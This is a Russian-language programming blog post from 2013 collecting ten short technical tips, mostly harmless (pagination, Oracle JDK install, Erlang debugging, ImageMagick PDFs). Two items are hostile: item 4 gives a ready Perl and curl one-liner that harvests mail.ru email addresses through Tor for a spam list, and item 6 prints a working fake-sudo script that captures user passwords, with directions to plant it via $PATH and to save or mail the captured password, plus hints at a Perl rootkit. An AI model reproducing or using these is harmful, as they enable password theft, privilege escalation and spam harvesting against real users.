Мини заметки — выпуск 15

16 октября 2013

В этом выпуске: как в Ubuntu установить Oracle JDK, что делать, если в Erlang возникает ошибка emfile, как собрать PDF с помощью ImageMagick, и не только. Предыдущие выпуски мини заметок: четырнадцатый, тринадцатый, двенадцатый, одиннадцатый.

1. Как сделать эффективное разбиение на страницы

Допустим, есть сайт со статьями и ЧПУ вроде /articles/page-5/. Как получить статьи на заданной странице с помощью простого SELECT-запроса?

Простое и неэффективное решение заключается в использовании запроса вроде select * from articles order by published limit N offset M. Это решение неэффективно, потому что требует сканирования M записей в таблице.

Более эффективный вариант — при создании очередной статьи просто писать в базу ее page_number. Тогда запрос приобретет вид select * from articles where page_number = P order by published. Но возникает маленькая проблема. Спрашивается, что делать при удалении статьи или переносе ее в другой раздел? Очевидно, что пересчитывать page_number всех статей в этом случае будет слишком дорого. А что, если не удалять статьи, а только помечать их удаленными (или перенесенными)? При отображении списка статей на месте, где должна быть статья, будет отображаться сообщение вроде «статья удалена/перенесена пользователем таким-то тогда-то».

При этом пересчитывать page_number статей и вычищать создаваемый при использовании такого подхода «мусор» можно по крону, скажем, раз в неделю или раз в месяц. Алгоритм становится чуточку сложнее, если статьи нужно сортировать в обратном порядке (order by published desc), поскольку в select запросе придется запрашивать не одну страницу, а две соседних, но идея остается прежней.

2. Установка Oracle JDK в Ubuntu

Матерые Java-программисты говорят, что OpenJDK — говно. Я не специалист в Java, так что придется поверить им на слово.

Oracle JDK в Ubuntu устанавливается следующим образом:

sudo apt-get remove openjdk\*
sudo add-apt-repository ppa:webupd8team/java
sudo apt-get update
sudo apt-get install oracle-java7-installer

Соглашаемся с лицензионным соглашением. После установки говорим:

java -version

Должны увидеть что-то вроде:

java version "1.7.0_40"
Java(TM) SE Runtime Environment (build 1.7.0_40-b43)
Java HotSpot(TM) 64-Bit Server VM (build 24.0-b56, mixed mode)

По аналогичной схеме можно установить Java 8 с лямбдочками или сразу несколько версий Java. Версия по умолчанию выбирается так:

sudo update-java-alternatives -s java-7-oracle

Стоит отметить, что многие приложения действительно работают на Oracle JDK заметно быстрее, чем на OpenJDK.

Рецепт был найден на linuxrussia.com.

3. Telnet через SSL

Подцепиться telnet’ом к серверу, использующему SSL, можно так:

openssl s_client -connect light.webmoney.ru:443

Пригодится при отладке.

4. Собираем спам-базу с помощью otvety.mail.ru

Этому баяну уже, наверное, лет десять, тем не менее.

Устанавливаем Tor, открываем консоль, с помощью Ctr+C и Ctr+V вбиваем:

perl -e 'while() { $qid = int(rand()*94000000); $t = `curl --socks5 localhost:9050 http://otvet.mail.ru/question/$qid 2>/dev/null`; @m = $t =~ m{"http://status\.mail\.ru/\?([^"]+)"}g; print join("\n", @m)."\n"; }' | tee 0001.txt

Ждем какое-то время, смотрим, сколько ящиков собрали:

cat *.txt | sort -u | grep -v nobody.mail.ru | wc -l

Собирать можно в несколько потоков.

5. Установка и настройка Radiant под Ubuntu Linux

Radiant — это редактор карт для игр серии Quake.

Сначала ставим OpenArena:

sudo aptitude install openarena openarena-data openarena-server

Качаем бинарный пакет Radiant под Linux с официального сайта. Распаковываем. Копируем каталоги из installs/Q3Pack/install/ в /usr/games. Делаем chmod a+rwx -R на скопированные каталоги. Говорим:

ln -s /usr/share/games/openarena/baseoa /usr/games/baseoa

Запускаем radiant.bin, в качестве игры выбираем Quake III Arena, путь к движку — /usr/games.

Карты, скомпилированные в .bsp, должны лежать в /usr/lib/openarena/baseoa/maps. Для их загрузки запустите OpenArena, войдите в консоль (нажав тильду) и выполните команды:

/sv_pure 0
/devmap map_name

Для загрузки той же карты в Nexuiz, положите bsp-файл в ~/.nexuiz/data/maps, создайте там же файл map_name.mapcfg следующего содержания:

changelevel map_name

Запустите Nexuiz, откройте консоль (Shift + Esc) и скажите:

map map_name

Хорошие туториалы по Radiant лежат здесь и тут.

6. Почему нужно быть осторожным с sudo

Если вы sudo’ер и вас поломали, то злобный хакер может поднять права до рута с помощью скрипта вроде такого:

#!/usr/bin/env perl

use strict;
use warnings;

my $attempts = 0;
my $success = 0;
while($attempts < 3) {
  print "[sudo] password for $ENV{USER}: ";
  system("/bin/stty -echo");
  my $password = <STDIN>;
  chomp($password);
  print "\n";
  system("/bin/stty echo");
  if(valid_password($password)) {
    system("/usr/bin/sudo @ARGV");
    $success = 1;
    last;
  } else {
    print "Sorry, try again.\n";
    $attempts++;
  }
}

print "sudo: $attempts incorrect password attempts\n" unless $success;

sub valid_password {
  my ($password) = @_;
  my $t = `echo -n '$password\n' | /usr/bin/sudo -S echo VALID 2>&1`;
  return scalar($t =~ /VALID/);
}

Называем sudo, делаем chmod u+x, кладем в какое-нибудь уютное место, например, ~/.hack, после чего прописываем это место в начало $PATH и ждем. Понятно, что в скрипт нужно дописать сохранение пароля в файл или его отправку по почте.

В действительности, с тем же успехом для перехвата паролей можно подменить утилиту su, а также ls и tree для скрытия файлов, ps и top для скрытия процессов и так далее. При желании можно написать полноценный кроссплатформенный user mode руткит, используя один только Perl.

7. Как в Erlang лечить ошибку emfile

Эта ошибка означает, что кто-то наоткрывал файловых дескрипторов и не закрыл их. Попытаться найти виновников можно, например, вбив в remsh такую команду:

lists:sort(fun({_,A},{_,B}) -> length(A) > length(B) end, [{Pid, Ports} || {Pid,Ports} <- [{Pid, [L || L <- element(2,process_info(Pid, links)), is_port(L)]} || Pid <- processes()], length(Ports) > 0]).

Рецепт был найден в рассылке erlang-programming.

8. Использование erl_tidy

Если у вас в команде нет единого мнения относительно того, как нужно оформлять код (сколько пробелов использовать в отступах и так далее), можно поступить следующим образом. Пишите каждый как хочет, а затем прогоняйте код через утилиту erl_tidy:

cd ./src
erl -s erl_tidy dir

Аналогичный инструмент есть почти для любого языка программирования.

9. Как в Linux сделать скриншот сайта

Способ первый:

sudo apt-get install python-qt4 libqt4-webkit python-pip xvfb
wget http://git.io/xexXPA -O ~/bin/webkit2png
chmod u+x ~/bin/webkit2png
sudo xvfb-run --server-args="-screen 0, 1024x768x24" \
  /home/eax/bin/webkit2png -o eaxme.png http://eax.me

Способ второй:

sudo apt-get install cutycapt
cutycapt --url=http://eax.me --javascript=off --out=eaxme.png

К сожалению, и webkit2png, и cutycapt повисают на больших страницах.

10. Сборка и оптимизация PDF с помощью ImageMagick

Если у вас есть сканы некого документа или книги, вы можете собрать из них PDF:

# преобразуем jpg-сканы в ч/б png
ls *.jpg | parallel -j 2 --eta convert '{}' -colorspace Gray \
  -resize 640x -type Palette -colors 16 -white-threshold 90% \
  -black-threshold 10% 'png/{.}.png'

# объединяем полученные png-файлы в pdf:
convert png/*.png -quality 100 -units PixelsPerInch \
  -density 72 result.pdf

Чтобы PDF получался качественный и при этом сравнительно небольшого размера, каждая страница должна весить 16-18 Кб.

Дополнение: Мини заметки — выпуск 16

Метки: .


Вы можете прислать свой комментарий мне на почту, или воспользоваться комментариями в Telegram-группе.